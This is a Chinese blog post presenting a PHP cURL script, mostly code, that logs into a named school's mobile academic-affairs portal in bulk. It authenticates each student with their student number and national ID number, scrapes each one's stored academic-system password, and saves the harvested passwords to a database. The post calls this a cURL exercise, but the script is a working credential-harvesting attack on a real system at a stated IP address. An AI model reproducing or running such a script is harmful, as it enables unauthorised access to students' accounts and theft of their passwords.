cURL实现模拟登陆+抓取数据

昨天用到了php中的cURL扩展,想利用cURL做一些实例,我想到一个例子,模拟登陆到我们学校的手机版教务处,然后抓取个人信息里面保存的正方教务处密码。
手机版教务处:http://211.70.176.123/wap

<?php

//1、连接数据库,获取学生信息
include ('./curlUtils.php');//curl工具类
include ('./Mysql.class.php');//mysql工具类

set_time_limit(0);//设置不间断执行
$data = Mysql::getAll("select * from student");//所有的学生信息

foreach ($data as $stu){

    //2、模拟登陆,获取cookie
    $cookie = login($stu['xh'],$stu['sfzh']);

    //3、获取学生的个人信息
    $info = getInfo($cookie);

    //4、利用正则解析数据
    $pwd = parseData($info);

    //5、写入数据库
    add($stu['xh'],$pwd);
}

/**
 * 将密码数据写入到数据库中
 * @param [type] $pwd [description]
 */
function add($xh,$pwd){
    $data = ['pwd'=>$pwd];
    Mysql::exec('student',$data,'update','xh = '.$xh);
}

/**
 * 利用正则解析数据,返回教务处PC端登陆密码
 * @return [type] [description]
 */
function parseData($info){
    preg_match_all("/<td align=\"center\" width=\"150\" height=\"22\" valign=\"middle\">.+<\/td>/",$info,$matches);
    if(empty($matches[0][5])) {
        return '';  
    }
    $dom = new DOMDocument();
    $dom->loadHTML($matches[0][5]);
    $tdList = $dom->getElementsByTagName("td");
    $td = $tdList->item(0);
    $pwd = $td->childNodes->item(0)->wholeText;
    return $pwd;
}

/**
 * 模拟登陆,获取Cookie
 * @return [type] [description]
 */
function login($xh,$sfzh){
    $curl = new CurlUtils("http://211.70.176.123/wap/index.asp",true);
    $value = "xh=$xh&sfzh=$sfzh";
    file_put_contents('result.html', $curl->post($value));
    $fh = fopen('result.html', 'r');
    $headers = [];
    for($i=0;$i<8;$i++){   
        $headers[] = fgets($fh);
    }
    fclose($fh);
    return substr($headers[6], 12);
}

/**
 * 获取学生的个人信息
 * @return [type] [description]
 */
function getInfo($cookie){
    $curl = new CurlUtils("http://211.70.176.123/wap/grxx.asp");
    $value = ["Cookie: $cookie"]; 
    $curl->addHeader($value);
    return $curl->get();
}

?>

上面的代码主要有5个步骤:
1、查询数据库中的全部学生
2、循环遍历学生,模拟登陆,获取cookie
3、携带cookie获取学生的个人信息
4、利用正则解析数据,返回教务处PC端登陆密码
5、写入数据库

注:上面用到了两个工具类,都是我以前就封装好的,都开源到博客上了。
curlUtils工具类:http://blog.csdn.net/baochao95/article/details/55105748
Mysql工具类:http://blog.csdn.net/baochao95/article/details/52055353

图我就不贴了,毕竟影响不好!

扩展:
1、我们还可以自己制作API来判断学生是否属于这个学校
2、判断学生是否为计算机学院的学生

posted @ 2017-02-15 20:24  SEC.VIP_网络安全服务  阅读(102)  评论(0编辑  收藏  举报